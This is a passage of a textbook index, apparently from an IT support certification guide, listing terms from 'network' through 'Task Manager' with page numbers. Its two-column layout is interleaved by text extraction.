RAID 0 (striping without Hypertext Transfer Protocol appliances, compared,
parity), 57, 58 Secure (HTTPS), 203, 204 212–217
RAID 1 (mirroring), 58, mailbox servers, 205–206 networked hosts, services
58–59 mail servers, 204–205 provided by, 200–211

Index

LICENSED FOR USE ONLY BY: ATG LEARNING · 7498307 · OCT 09 2022
 I-20 | Index

troubleshoot networks, NOT AND (NAND) flash hardware compatibility

218–224 memory, 54 and update limitations,
network settings notation, IPv6, 180 408–409, 409
macOS, 533, 533, 534 notification area icons, network compatibility,
Windows, 357 Windows, 360 409
network sign-in, Windows, 483 nslookup command, Windows, software compatibility,
network sniffing, 140 472 409
network speed issues, 219 NTFS permissions, Windows, user training and
network tap, 140 496–498, 497 support, 409–410
network topology diagram, 691 NTUSER.DAT, 344 crashes due to mishandling
network types, 120–124 NVMe (NVM Express), 54–55 of resources, 681
datacenters, 122–123 NVMe-based M.2 SSDs, 55 guidelines for supporting,
local area network (LAN), NVM Express (NVMe), 54–55 418
120 NVMHCI (non-volatile memory reinstallation, 613
metropolitan area network host controller interface types, 402–411
(MAN), 121 specification), 54 Android, 406, 406
personal area network NVRAM (non-volatile RAM) Apple file systems, 408
(PAN), 123 chip, 113 Apple iOS, 405, 405
small office home office Apple iPadOS, 405
(SOHO) LAN, 121, 121–122 O Apple macOS, 402–403,
storage area network (SAN), 403
octal notation, Linux, 517
123 Chrome OS, 404–405
OLED (organic LED), 9
wide area network (WAN), Linux, 403–404, 404
on-access scanning, 613
121 Linux file systems, 408,
onboard adapter, 28
New Technology File System 408
onboard graphics, 28
(NTFS), Windows, 406–407 Microsoft Windows, 402
OneDrive, Windows, 343
dynamic disks, 406 UNIX, 403
100BASE-T (Fast Ethernet), 120,
indexing, 406 Windows file system
127, 135, 135
journaling, 406 types, 406–407
1000BASE-T (Gigabit Ethernet),
POSIX compliance, 406 updates, macOS, 532–533,
120, 125, 128, 135, 135, 136,
security, 406 533
140
snapshots, 407 updates, mobile OS, 622
online vs. offline backups, 660
NIC (network interface card), Vendor Life-cycle
on-path attacks, 547–548
30–31, 31 Limitations, 410
on-premises server, 238
9-pin D-subminiature (DB-9) Windows editions, 412–417
on-screen display (OSD)
female port, 38 operating system/app/
menus, 113
No boot device found, configuration/networking
on site backup storage,
Windows, 441 issues, 112
659–660
non-compliant systems, 543 operational procedures
open-ended questions,
non-paged pool, Windows, 381 best practices
702–703
non-volatile memory documentation, 686–696
open-loop, liquid-based cooling
host controller interface communication techniques,
system, 50
specification (NVMHCI), 54 697–706
Open Services button,
non-volatile RAM (NVRAM) guidelines for
Windows, 383
chip, 113 implementing, 718
open-source licenses, 666
no OS found, Windows, safety and environmental
open-source RDP server
441–442 procedures, 707–717
products, 208
no power symptoms, 98–99, 99 operational technology (OT),
OpenSSH, 207
No reply (Request timed out), 215
operating system (OS)
Windows, 469 operators, 675, 677
compatibility issues,
Normal startup, Windows, 387, optical cabling, 141, 141–142,
408–410
387 142

Index

LICENSED FOR USE ONLY BY: ATG LEARNING · 7498307 · OCT 09 2022
 Index | I-21

Optical Character Recognition parallel advanced technology bottleneck, 112

(OCR) software, 306 attachment (PATA), 37 misconfigurations, 112
optical drives, 62–63, 63, 93, partition boot record (PBR), operating system/app/
535 425 configuration/networking
optical fiber, 142 partitioning, Windows, 367, issues, 112
optical line terminal (OLT), 368, 424, 426 overheating, 112
164–165 passive optical network (PON), Windows, 443–444
optical media, Windows, 423 164 add resources, 443
optical network terminals passive test access point (TAP), apply updates, 443
(ONTs), 164–165, 165 140 configuration of
organic LED (OLED), 9, 245 passkey, 256 antivirus software, 444
organizational units (OUs), password attacks, 549, 549–550, defragment the hard
Windows, 486 550 drive, 443
orientation of paper, 301 password cracker, 550 disable startup items,
original equipment password-protected sharing, 444
manufacturer (OEM) license, Windows, 492 low disk space, 443
413 passwords low memory, 443
OSD (on-screen display) authentication, remote power management
menus, 113 access technologies, 652 issues, 444
OS errors and crash screens, manager, browser, 597 rebooting, 443
102, 102 mobile OS, 620 scan for viruses and
output voltages, 46, 46 workstation, 580–581, 581 malware, 444
overheating, 110–111, 112, BIOS/UEFI passwords, sluggish performance,
286 581 443–444
default password, verify OS and app
582–583 hardware requirements,
P end user best practices, 443
package management 582 Performance Monitor
commands, Linux, 517–519 password rules, (perfmon.msc), Windows,
antivirus, 519 580–581, 581 384–387
apt-get command, 518 Reset Password, 584 Performance Monitoring
distributions, 517–518 PATA (parallel advanced (perfmon. msc), Windows, 359,
listing package manager technology attachment), 29 380–382, 381
sources, 518 patch cords, 142, 142, 223 CPU and GPU monitoring,
yum command, 519 patches/OS updates, mobile 381
padlock icon, 203, 204 OS, 622 disk monitoring, 382
page description language patch panel, 126, 126–127, 127 memory monitoring,
(PDL), 298–299, 299 pathping command, Windows, 381–382
color printing, 299 471 network monitoring, 382
scalable fonts, 298 pattern screen locks, mobile Performance tab, 380,
vector graphics, 299 OS, 621 381
paged pool, Windows, 381 Payment Card Industry Data performance symptoms,
pagefile, 65–66 Security Standard (PCI DSS), browser, 607
page orientation, incorrect, 664 Performance tab, Windows,
328–329 “PC-1600” designation, 67 380, 381
pages, of memory, 65 PCI (Peripheral Component performance tools, Windows,
pairing, Bluetooth, 256, 256 Interconnect), 22, 23, 24 377–390. see also troubleshoot
palmprint scanner, 575 PCIe (PCI Express), 22, 22–23, tools, Windows
paper handling, 316 54 perimeter security, 573
paper output path, 312 Performance Counters, peripheral cable, 4, 5
Paper/Quality tab, printer, 302, Windows, 385–386, 385–387 Peripheral Component
302 performance issues, 112 Interconnect (PCI), 22, 23, 24

Index

LICENSED FOR USE ONLY BY: ATG LEARNING · 7498307 · OCT 09 2022
 I-22 | Index

Peripheral Component PIN code, 256 POST (power-on self-test)

Interconnect Express (PCIe), 22, ping command, Windows, issues, 99–101, 100
22–23 468–469, 469 Post Office Protocol (POP3),
peripheral devices, 4, 4–5, 5 pin grid array (PGA) form factor 186, 205, 205, 267
binary data storage and chips, 76, 76 power
transfer units, 5, 5 pinwheel (of death), 102 battery issues, mobile
interfaces, ports, and plain old telephone system device, 283–285
connectors, 4, 4–5 (POTS), 162 improper charging
permission inheritance, plan of action, 86–87 symptoms, 284, 285
Windows, 498–499, 499 corporate policies and swollen battery
permissions, 263 procedures, 86 symptoms, 285
user, workstation, 582 establishing, 86 button, 3, 27
Windows, 340 impact of, 86 connectors, 28
Access Denied error repair, 86 disk issues, 98–109
message, 498 replace, 86 beep code, 100, 100–101
Full Control, 499 solution black screen, 100
inheritance, 498–499, determining steps in, 86 boot issues, 101–102,
499 implementing, 87 102
personal area network (PAN), system under warranty, 86 drive availability,
123 vendor instructions, 87 102–103
personal computers, 2–4, 3 workaround, 86 drive reliability and
components of, 2, 3 plastics/frames, 275 performance, 103–105,
maintenance on, 2–4 platform as a service (PaaS), 104, 105
personal folder, Windows, 372 237, 237 POST issues, 99–101,
personal government-issued plenum space, 141 100
information, 664 plug-ins, browser, 595–596 power issues, 98–99, 99
personal identification number PoE-enabled switch, 131 RAID failure, 105–107,
(PIN), mobile OS, 620 point-of-sale (PoS) machine, 106, 107
Personalization settings, 257 failure, 714
Windows, 341 policy documentation, 694 injector, 131
personally identifiable pop-up blockers, 600 issues, 98–99, 99
information (PII), 582, 663 port flapping, 219 options, Windows, 353–354,
PGA (pin grid array) form factor port forwarding, 568–569 354
chips, 76, 76 configuration, 568–569 Hibernate/Suspend to
phishing, 546, 546 configuring, 568, 568 Disk, 353
phone plugs, 29 DHCP reservations, 568 Power Options applet,
phone settings, Windows, 351 disabling unused ports, 569 353–354, 354
physical access control, port triggering, 569 power plan, 354
573–574 static IP addresses, 568 Power & sleep settings,
access control vestibules, ports, 4, 4–5 353
573 laptop, 254 Standby/Suspend to
magnetometers, 574 replicators, 258, 258 RAM, 353
perimeter security, 573 security, Windows Defender USB selective suspend,
security guards, 574 Firewall, 588 354
physical cabling issues, 114 triggering, 569 output, 44, 45
physical damage, 111–112 well-known, 186, 186–187 plan, Windows, 354
Physical Disk Object, Windows, Port TCP/25, 205 supplies and cooling, 44–51
385, 385 Port TCP/587, 205 fan cooling systems,
physically damaged port positioning network 48–50
symptoms, 286 components, 122, 122 grid power, 45, 48
pickup roller, 310, 311 POSIX compliance, Windows, liquid-based cooling
piggybacking, 545 406 system, 49, 49–50

Index

LICENSED FOR USE ONLY BY: ATG LEARNING · 7498307 · OCT 09 2022
 Index | I-23

output voltages, 46, 46 inkjet printer printer security, 305–306

power output, 44, 45 maintenance, 316–318 audit logs, 306
power supply laser printer imaging badging, 306
connectors, 46–48 process, 309–312 secured print, 306
PSU, 44, 45 laser printer user authentication, 305
wattage rating, 45–46, maintenance, 312–314 printer setup location, 295
46 thermal printer printer sharing, 303–305
supply connectors, 46–48 maintenance, 318–319 connecting to a network
20-pin to 24-pin 3-D printer printer via File Explorer, 305
motherboard adapter, maintenance, 321–323 installing a network printer
46, 47 guidelines for supporting, using a vendor tool, 303
modular PSU, 47, 47 332 public printer, 303
redundant power multifunction, 294–308 shared printer connections,
supply, 48 print device connectivity, 304
USB cables, 8 295–298 Windows, 303–304, 304,
powered device (PD), 131 print device vendors, 495–496, 496
power-on self-test (POST) 294 Printers & Scanners, macOS,
issues, 99–101, 100 printer drivers and page 534
Power Options applet, description languages, printer unboxing, 295
Windows, 353–354, 354 298–299 print feed issues, 326–327
Power over Ethernet (PoE), printer preferences, feeding multiple sheets, 327
131, 145 301–303 grinding noise, 327
PowerShell (PS), Windows, 676, printer properties, paper is not feeding, 327
676 300–301 paper jam, 326, 326
Power & sleep settings, printer security, 305–306 paper size and weight
Windows, 353 printer sharing, 303–305 compatibility, 327
power sourcing equipment printer unboxing, 295 print head alignment, 317
(PSE), 131 scanner configuration, print head cleaning, 317, 318
power supply unit (PSU), 3, 44, 306–307 print job issues, 329–330
45 selecting, 294–295 garbled print, 330
Power Users group, Windows, setup location, 295 print monitors, 329–330
478 troubleshoot issues, print queue and spooler
Preboot eXecution 325–331 troubleshooting, 330,
Environment (PXE), 424 finishing issues, 328–329 330
preferences, Windows, 421 printer connectivity print monitors, 329–330
pre-shared key (PSK), 558 issues, 325 print quality issues, 327–328
pretexting, 544 print feed issues, black stripes or whole page
preventative measures, 87 326–327 black, 327
PRI code, 210 print job issues, 329–330 blank pages, 327
primary IDE (PRI IDE), 37 print quality issues, color missing, 328
print bed/build plate, 322 327–328 dot matrix print defects,
print device(s) Printer Control Language (PCL), 328
connectivity, 295–298 299 double/echo images, 328
ethernet, 296–297, 297 printer cycle, 312 faded or faint prints, 327
issues, 325 printer drivers, 298–299 incorrect chroma display,
USB, 295–296, 296 printer preferences, 301–303 328
wireless, 297–298, 298 Color tab, 302 inkjet print defects, 328
consumables, 309–324 dialogue box, 301, 302 laser printer print defects,
impact printer Finishing tab, 303 327–328
maintenance, 320–321 Paper/Quality tab, 302, 302 speckling on output, 327
inkjet printer imaging Printer Properties, 300–301, toner not fused to paper,
process, 314–316 496 328

Index

LICENSED FOR USE ONLY BY: ATG LEARNING · 7498307 · OCT 09 2022
 I-24 | Index

vertical or horizontal lines, professional support punchdown blocks, 126

328 processes, 697–698 punchdown tool, 137, 137
white stripes, 327 expectations and timeline, pwd command, Linux, 512
print queue and spooler 697–698 Python, 678, 678
troubleshooting, 330, 330 follow up, 698
print server hardware and proper documentation, 697 Q
firmware, 303 repair options, 698
quadruple-channel memory,
privacy settings replace options, 698
70
browser, 600, 600–601 profile issues, Windows, 442
quality of service (QoS), 221,
Windows, 340, 340 profile of security
222, 222
private addressing, Internet requirements, 624
queries, DNS, 192, 193
access using, 175 Program Files/Program Files
questioning the obvious, 85
private address ranges, 174 (x86), Windows, 344
Quick Assist feature, 651
private deployment model, programmable logic controllers
236 (PLCs), 215
private/incognito browsing Programs and Features, R
mode, 601 Windows, 356 radio antenna wire for a
private key, 552 Programs and Features applet, mobile, 288
private materials, 699 Windows, 439 radio frequency (RF), 220
probable cause, 84 progress notes, ticket life cycle, Radio Frequency ID (RFID), 155,
problem, identifying, 83–84 689 576
backups, 84 prohibited content, 665 RAID. see redundant array of
changes to the system, 83 projector shutdown, independent disks (RAID)
environmental or intermittent, 115 RAM. see random-access
infrastructure changes, 83 properties, Windows, 364 memory (RAM)
gathering information from proprietary crash screen, 102, random-access memory (RAM),
the user, 83 102 17, 18, 20–21, 28, 65–71
problem description, ticket life protected management adapter replacement,
cycle, 689 frames, 557 laptop, 277–279
problem resolution, ticket life protocols and ports, 183–188 upgrading adapter
cycle, 689 communications at the cards, 278–279, 279
Processes tab, Windows, transport layer, 183, upgrading RAM
379–380, 380 183–184 modules, 277–278,
processing stage, 309 TCP, 184, 184–185 278
process monitoring UDP, 185, 185–186 address pathway, 66, 66
commands, Linux, 519–520 well-known ports, 186, configuration with
ps command, 519, 520 186–187 mismatched modules, 70
top command, 520, 520 proximity alarms, 576 DDR SDRAM, 67, 67–68
product lifecycles, Windows, proxy server, 212–213, 213, 463 DDRx memory, 69
421 proxy settings, Windows, DIMM, 67–70, 68, 69
professional appearance, 463–464, 464 dual-channel memory, 69,
700–701 PS/2 serial ports, 38 69–70
attire, 700, 700 ps command, Linux, 519, 520 dynamic RAM, 67
cultural sensitivity, 701 PSU (power supply unit), 3, 44, ECC, 70
language, 701 45 labelling and color-coding,
professional communication, public (or multitenant) 69–70
702–703 deployment model, 236 laptop, 68
active listening, 702, 702 public key, 552 measuring, 65
clarifying and questioning public key authentication, 652 memory modules, 67–68,
techniques, 702–703 public printer, configuring, 303 68
professional support delivery, public switched telephone modules, upgrading,
699 network (PSTN), 162 277–278, 278

Index

LICENSED FOR USE ONLY BY: ATG LEARNING · 7498307 · OCT 09 2022
 Index | I-25

multi-channel system building, 57 Remote Desktop

memory, 69, 69–70 configuring a volume using, Connection, 648–650, 649
RDIMMs, 70 56, 57 remote desktop tools,
requirements, Windows, RAID 0 (striping without 648–649, 649
428 parity), 57, 58 RMM tools, 653
SDRAM, 66–67 RAID 1 (mirroring), 58, screen-sharing software,
selecting, factors to be 58–59 654
considered in, 70 RAID 5 (striping with SSH, 652, 652
single-channel memory, 69, distributed parity), 59, video-conferencing
69 59–60 software, 654
SODIMM, 68, 68 RAID 10 (stripe of mirrors), VNC, 649
triple- or quadruple- 60, 60 VPNs, 654
channel memory, 70 redundant array of remote access Trojan (RAT),
types, 66–67, 67 independent disks (RAID) 604
UDIMMs, 70 failure, 105–107, 106, 107 Remote Authentication Dial-
virtual RAM/virtual memory, redundant power supply, 48 in User Service (RADIUS), 206,
65–66 region-coding copy-protection 207, 560
ransomware, 606, 606 mechanisms, 63 remote backup apps, mobile
rapid elasticity, in cloud, 236 register, 65, 70, 72, 73, 74 OS, 625–626, 626
Rapid Virtualization Indexing registered DIMMs (RDIMMs), Remote Desktop Connection,
(RVI), 74, 231 70 648–650, 649
RDIMMs (registered DIMMs), Registry Editor (regedit.exe), Remote Desktop Protocol
70 Windows, 359, 374–375 (RDP), 187, 208, 648–651
read/write failure, 103 editing the registry, 374, Remote Desktop
read/write times, extended, 374–375 Connection, 648–650, 649
103 registry keys, 374, 374 server and security settings,
real time clock (RTC), 113, 113 regulated data classification, 650, 650–651
reboot, mobile OS, 632, 633 663–664 VNC, 649
Rebuilding a local user profile, credit card transactions, Remote Desktop Protocol
Windows, 442 664 (RDP), Windows, 414
received signal strength data handling best practice, Remote Disc, macOS, 535
indicator (RSSI), 220 664 remote monitoring and
Recommended Standard #232 data retention management (RMM) tools, 653
(RS-232), 38 requirements, 664 remote network connectivity,
Reconnect at sign-in, Windows, healthcare data, 664 Windows, 470–471, 471
494 personal government- remote sign-in, Windows, 483
recordable compact discs issued information, 664 remote terminal access
(CD-R), 62 PII, 663 servers, 207–208
recovery image, Windows, 440 regulations, compliance with, RDP, 208
recovery menu, macOS, 707 SSH, 207
536–537, 537 reinstalling Windows, 440–441, Telnet, 207–208, 208
Recovery Mode, 613 441 remote wipe, 627
recovery partition, Windows, remapping network drives, removable storage, 60–62, 61,
426 679 62
Recycle Bin, Windows, 343 remote access technologies, disc eject mechanism, 63
recycling outsourcing concepts, 648–655 drive enclosures, 60–61, 61
670 desktop management, 653 flash drive, 61, 61
redirection, browser, 608 file transfer software, 654 memory card, 61, 62
reduced ISC (RISC), 73 MSRA, 651, 651 multi-card reader, 62, 62
redundant array of password authentication, repair, 86
independent disks (RAID), 652 repair installation, Windows,
56–60, 57 RDP, 648–651 426

Index

LICENSED FOR USE ONLY BY: ATG LEARNING · 7498307 · OCT 09 2022
 I-26 | Index

repartitioning, Windows, 368 RJ-45 network, 4 safety and environmental

replace, 86 RJ45 terminated patch cord, procedures, 707–717
Reply from GatewayIP 218 building codes, 707
Destination unreachable, RMA (returned materials building power issues and
Windows, 469 authorization) ticket, 86 mitigations, 713–715
Reply from IP Address, rm command, Linux, 514 compliance with
Windows, 469 rmdir Directory, Windows, 394 regulations, 707
Reply from SenderIP roaming profiles, Windows, 503 electrical safety, 707–709
Destination unreachable, robocopy command, Windows, electrostatic discharge,
Windows, 469 394 711–713
request for a resource (GET), rogue antivirus, 608 environmental impacts,
202 Roll Back Driver, Windows, 439, 710–711
Request For Comments (RFCs), 440 environmental regulations,
171 root access security concerns, 707
research techniques, 84 639–640 health and safety laws,
reservations, DHCP, 191 rootkits, 605, 606 707
Reset Password, workstation, root-level servers, 191 lifting techniques, 710
584 rotating and removable materials handling and
Reset this PC option, Windows, screens, 246–247 responsible disposal,
440 rotational latency, 56 715–716
reset Windows, 426 round trip time (RTT), 165, 221 safety goggles and masks,
resin, 323 routers, 167, 167–168 710
resolution and refresh rate, router security, 563–572 trip hazards, 709
Windows, 352 firewall security, 567, 567 safety goggles and masks, 710
Resource Monitor (resmon. firmware update, 564, 567 Samba command, Linux, 521
exe), Windows, 359, 384, 384 home router setup, sandbox, 230
resource records, 193, 193–194 563–564 SAS (serial attached SCSI), 37
address (A) record, 193, 193 LAN and WLAN SATA (Serial Advanced
address (AAAA) record, 193, configuration, 565–566 Technology Attachment), 4, 13,
193 port forwarding 13, 21
Mail Exchange (MX) record, configuration, 568–569 SATA/AHCI-based M.2 SSDs, 55
194 screened subnets, 570, 570, SATA port, 54
restart, Windows, 397 571 satellite-based microwave
restarting machines, 679 Universal Plug-and-Play radio system, 165–166
retail/full packaged product (UPnP), 569, 569–570 SCA (single connector
(FPP) license, Windows, 414 RPM (revolutions per minute), attachment), 36
retention, 657–658 55 scalability in cloud, 235
retina scanner, 575 RTC (real time clock), 113, 113 scalable fonts, 298
returned materials RTC (real time clock) battery, scale, Windows, 352
authorization (RMA) ticket, 86 113, 113 scanner
revolutions per minute (RPM), Run as administrator, configuration, 306–307
55 Windows, 391 definition of, 306
rewritable compact discs Run dialog, Windows, 360, 360, network scan services, 307
(CD-RW), 62 391 OCR software, 306
RISC (reduced ISC), 73 RVI (Rapid Virtualization types, 307
risk, 542 Indexing), 74 scans
risk analysis, 693 to cloud, 307
RJ11 connectors, 136 to email, 307
RJ11 WAN port, 162, 162
S to folder, 307
RJ45 connectors, 126, 127, 135, Safely Remove Hardware icon, for malware
135–136 Windows, 365 on-access scanning, 613
RJ45 LAN port, 162, 162 Safe Mode, Windows, 436 scheduled, 613

Index

LICENSED FOR USE ONLY BY: ATG LEARNING · 7498307 · OCT 09 2022
 Index | I-27

scheduling commands, Linux, restarting machines, 679 security settings

522 Windows scripts, 676–677 browser security, 594–602
scope, DHCP, 189 SCSI (small computer system guidelines for managing,
screened subnets, 570, 570, interface), 36, 36–37 616–617
571 SD (Secure Digital) cards, 62 macOS, 528–530
screened twisted pair (ScTP), SDHC (Secure Digital High Apple ID, 528, 528, 530
134, 134 Capacity) cards, 62 FileVault, 529–530
screening/shielding elements SDRAM (Synchronous DRAM), Finder, 530
of shielded cable, 134 66–67 iCloud, 530, 530
screen locks, 620–621, 621 SDXC (Secure Digital Extended Internet Accounts, 529
facial recognition, 621 Capacity) cards, 62 Keychain Access app,
failed login attempts, 621 search commands, Linux, 513 529
fingerprint sensors, 621 escaping, 513 Keychain First Aid, 529
pattern, 621 find command, 513 Security & Privacy, 528,
personal identification grep command, 513 529
number (PIN) or password, metacharacters, 513 Windows, 406, 476–490
620 search provider, default, 595 authentication methods,
screens, rotating and secondary IDE (SEC IDE), 37 481–483
removable, 246–247 Second Level Address domain controllers, 485
screensavers, workstation, 582 Translation (SLAT), 74, 231 group policy, 486–487,
screen-sharing software, 654 secure boot, 95 487
scripting, 672–682 secure connections, browser, group policy updates,
basic script constructs, 598, 598–599, 599 487
673–675 Secure Digital (SD) cards, 62 legal security controls,
branches, 674 Secure Digital Extended 476–477
comments, 673 Capacity (SDXC) cards, 62 Local Users and Groups,
loops, 674–675 Secure Digital High Capacity 478, 479
operators, 675, 677 (SDHC) cards, 62 login options, 483–485
variables, 674 secured print, 306 login script, 487–488
best practices and Secure Erase (SE), 669 member server, 485
concerns, 680–681 Secure Shell (SSH), 185, 186, Microsoft account, 477
browser or system 207, 652, 652 Mobile Device
crashes due to security concerns, mobile OS, Management (MDM),
mishandling of 629 488, 488
resources, 681 security groups, Windows, 478, net user commands, 479
inadvertent system- 486, 486 organizational units
settings changes, 681 security guards, 574 (OUs), 486
malware risks, 680–681 security key, Windows, 484 Power Users group, 478
guidelines for using, 683 security measures, 573–577 security groups, 478,
JavaScript, 677, 677 alarms, 576 486, 486
Python, 678, 678 lighting, 576 standard account, 478
shell scripts, 672–673, 673 lock types, 574–575 user account, 477
use cases for, 678–680 physical access control, User Account Control
API, 678–679 573–574 (UAC), 479–481, 480, 481
automated backups, 680 surveillance, 576 workstation, 580–593,
gathering of Security & Privacy, macOS, 528, 603–615
information/data, 680 529 selective laser sintering (SLS),
initiating updates, 680 security requirements, in 323
installation of virtualization, 233 Selective startup, Windows,
applications, 679 guest OS security, 233 387, 387
remapping network host security, 233 self-encrypting drives (SEDs),
drives, 679 hypervisor security, 233 669

Index

LICENSED FOR USE ONLY BY: ATG LEARNING · 7498307 · OCT 09 2022
 I-28 | Index

Self-Monitoring, Analysis, and shoulder surfing, 545 confidentiality, integrity,

Reporting Technology (SMART), Show details button, Windows, and availability (CIA
103, 104 379 triad), 542
Sender Policy Framework (SPF), shredding, 670 cross-site scripting (XSS)
194, 214 shutdown command, Windows, attack, 550–551
sensitivity, adjusting, 248 396–397 cybersecurity, 542
separation pad, 311 shutdowns, intermittent, 110 denial of service (DoS)
separation roller, 310, 311 signal issues, wireless, 220–221 attack, 548
Serial Advanced Technology signal strength, mobile OS, 636 digital signatures, 553
Attachment (SATA), 4, 13, 13, 21 sign-in, browser, 597 distributed denial of
serial attached SCSI (SAS), 37 sign-in options, Windows, 339 service (DDoS) attack,
serial cables, 38, 38 Simple Mail Transfer Protocol 548, 548
serial interfaces, 255 (SMTP), 186, 204–205 encryption, 552
serial port, 38, 38 Port TCP/25, 205 end of life (EOL) system,
server, 200 Port TCP/587, 205 544
Server Message Block (SMB), Simple Network Management evil twin, 546–547
187, 200, 307 Protocol (SNMP), 187, 209, 209 external threats, 547
Server Message Block (SMB), Simultaneous Authentication guidelines for
Linux, 521 of Equals (SAE), 557 configuring, 578
server motherboards, 77 simultaneous multithreading hashing, 552
servers, CPU and, 77 (SMT), 74 information security,
server-side virtualization, 230 single-channel memory, 69, 69 542–543, 543
service models, cloud, 236–237 single connector attachment insider threats, 547
IaaS, 236, 237 (SCA), 36 key exchange, 553
PaaS, 237, 237 single-core CPU, 74 non-compliant systems,
SaaS, 237 single level cell (SLC) NAND, 54 543
service problems, browser, 607 single-mode fiber (SMF), 142 on-path attacks,
Services (services.msc), single sign-on (SSO), 206 547–548
Windows, 383 single sign-on (SSO), Windows, password attacks, 549,
Services console (services.msc), 484–485 549–550, 550
Windows, 359 64-bit CPU, 66, 66, 69, 73 password cracker, 550
service set ID (SSID), 565 64-bit environment, 231 phishing, 546, 546
services not starting, Windows, 64-bit software, 73 risk, 542
447 64-bit Windows editions, 412 social engineering,
Services tab, Windows, 388 slash notation, 173 544–545
service status monitoring, SLAT (Second Level Address software vulnerabilities,
Windows, 383, 383 Translation), 74 543–544
Services type, Windows, 383 SLC (single level cell) NAND, 54 spoofing, 547
Set Priority submenu, slow network speeds, 219 SQL injection attack,
Windows, 380 sluggish performance, 551–552
settings, browser, 596–597 Windows, 443–444 threat actor, 542
shared resources, 236 sluggish response time, mobile threat types, 547–548
Share permissions, Windows, OS, 642 unpatched system, 544
496–498, 497 small computer system unprotected systems,
shells, Linux, 508 interface (SCSI), 36, 36–37 543
shell scripts, 672–673, 673 small office/home office vulnerabilities, 543–544
shielded/foiled twisted pair (SOHO), 413 zero-day vulnerabilities,
(S/FTP), 134 attacks, threats, and 544
shielded twisted pair (STP), vulnerabilities, 542–555 LAN, 121, 121–122
134, 134 botnet, 548, 548 router security, 563–572
short message service (SMS), bring your own device firewall security, 567,
482 (BYOD), 544 567

Index

LICENSED FOR USE ONLY BY: ATG LEARNING · 7498307 · OCT 09 2022
 Index | I-29

firmware update, 564, socket types, 75, 75–76, 76 Standby/Suspend to RAM,

567 SODIMM (Small Outline DIMM), Windows, 353
home router setup, 68, 68 staple jam, 329
563–564 soft token, Windows, 482 startup and recovery options,
LAN and WLAN software, 622–623 Windows, 349
configuration, 565–566 antivirus/anti-malware Startup tab, Windows, 383
port forwarding apps, 622, 623 Startup type, Windows, 383
configuration, 568–569 compatibility, 409 StateLess Address Auto
screened subnets, 570, firewall apps, 623 Configuration (SLAAC), 181
570, 571 patches/OS updates, 622 static addressing, 177
Universal Plug-and-Play sources, workstation, static configuration, Windows,
(UPnP), 569, 569–570 584–585 457
security measures, 573–577 vulnerabilities, 543–544 static IP addresses, 568
alarms, 576 software as a service (SaaS), Status menu, macOS, 533,
lighting, 576 237 533
lock types, 574–575 software-defined networking stereolithography (SLA), 323
physical access control, (SDN), 239, 239 storage area network (SAN),
573–574 SOHO network, guidelines for 123, 232
surveillance, 576 installing, 158 storage connectors, 21–22
wireless security protocols, SOHO router, 121 eSATA, 22
556–562 SOHO router configuration, HDD, 21
EAP, 558–560, 560 178–179, 179, 198 M.2, 21, 21
Kerberos, 561 solid-state drive (SSD), 21, 21, SATA, 21
RADIUS, 560 53, 53–55, 54, 93, 280 SSD, 21, 21
TACACS+, 560 “Something has gone wrong” storage devices, 52–64
Wi-Fi authentication message, 102 HDD, 55, 55–56
methods, 558 Sound applet, Windows, 352, mass storage devices, 52,
WPA, 556–557 352 52–53
Small Outline DIMM (SODIMM), sound cards, 29–30, 30 optical drives, 62–63, 63
68, 68, 277–278, 278 spam gateways, 214 RAID, 56–60, 57
SMART (Self-Monitoring, spam management records, removable storage, 60–62,
Analysis, and Reporting DNS, 194 61, 62
Technology), 103, 104 DKIM, 194 SSD, 53, 53–55, 54
smart card, 574 DMARC, 194 storage requirements,
smart devices, 216 SPF, 194 Windows, 428
smartphone connectors, 254 speakers, 248 store apps, Windows, 354
smartphone docks, 259, spear phishing, 546 straight tip (ST), 142
259 SpeedFan utility, 104 stripe of mirrors, 60, 60
SMP (symmetric speed issues, network, 219 striping with distributed parity,
multiprocessing), 74 spinning wait cursor, 102 59, 59–60
SMT (simultaneous splash screen, 694 striping without parity, 57, 58
multithreading), 74 splitter, DSL, 162, 163 Structured Query Language
snapshots, Windows, 407 spoofing, 547, 640 (SQL) injection attack, 551–552
snips, 137 spooler troubleshooting, 330, subnet mask, 173, 175, 175
SoC (system-on-chip), 73 330 subnets, screened, 570, 570,
social engineering, 544–545 Spotlight Search, macOS, 524 571
dumpster diving, 545 spyware, 604 subscriber connector (SC), 142,
impersonation, 544, 545 standard account, Windows, 142
piggybacking, 545 478 subscriber identity module
pretexting, 544 standard operating procedure (SIM), 166
shoulder surfing, 545 (SOP), 686 su command, Linux, 515
tailgating, 545 standards, USB, 6, 6 sudo command, Linux, 515

Index

LICENSED FOR USE ONLY BY: ATG LEARNING · 7498307 · OCT 09 2022
 I-30 | Index

supervisor/administrator/ System Configuration Utility Windows, 437–439

setup, 94 (msconfig.exe), Windows, 387, Repair Your Computer,
supervisory control and data 387–388, 388 438
acquisition (SCADA) systems, system date/time, inaccurate, System Protection,
215 112–113, 113 437–438, 438
supplicant, 206 system fault issues, Windows, using, 438, 438–439
support documentation, 692 444–446 system root, Windows, 344
support tools BSoD, 444, 445 system settings, 90–91, 91
backup and recovery, system instability and system setup, 90–97
656–662 frequent shutdowns, 445 BIOS/UEFI, 90–92, 91, 92
data handling best USB issues, 446 boot options, 92, 92–94, 93,
practices, 663–671 System File Checker utility (sfc), 94
guidelines for using, 683 Windows, 397, 397 boot passwords, 94–95, 95
remote access technologies, system files, Windows, 344 cryptographic keys, 95
648–655 system firmware setup HSM, 96
scripting, 672–682 program, 90–91, 91 key combinations, 90
support virtualization, 74 System Image Recovery, secure boot, 95
surges, 713 Windows, 440 supervisor/administrator/
surge suppressors, 714 System Information (msinfo32. setup, 94
surveillance, 576 exe), Windows, 377, 377 system firmware setup
swap space, 65–66 system instability, Windows, program, 90–91, 91
switch, 128–129, 129 445 system settings, 90–91, 91
switched port analyzer (SPAN), system management TPM, 95–96, 96
140 commands, Windows, 396–398 user/system, 94
swollen battery symptoms, 285 reporting the Windows
symmetric encryption, 552 version, 398
symmetric multiprocessing shutdown command,
T
(SMP), 74 396–397 tablet connectors, 254
symmetric versions of DSL, 162 System File Checker utility tablet docks, 259, 259
synchronization, mobile (sfc), 397, 397 tailgating, 545
device. see mobile device system memory, 65–71. see Task Manager (taskmgr.exe),
synchronization (sync) also random-access memory Windows, 379–387, 380
Synchronous DRAM (SDRAM), (RAM) Performance Counters,
66–67 slots, 20–21 385–386, 385–387
Synchronous Dynamic Random virtualization and, 232, 232 Performance Monitor
Access Memory (DDR SDRAM), system objects, Windows, 343 (perfmon.msc), 384–387
66–67 system-on-chip (SoC), 73 performance monitoring,
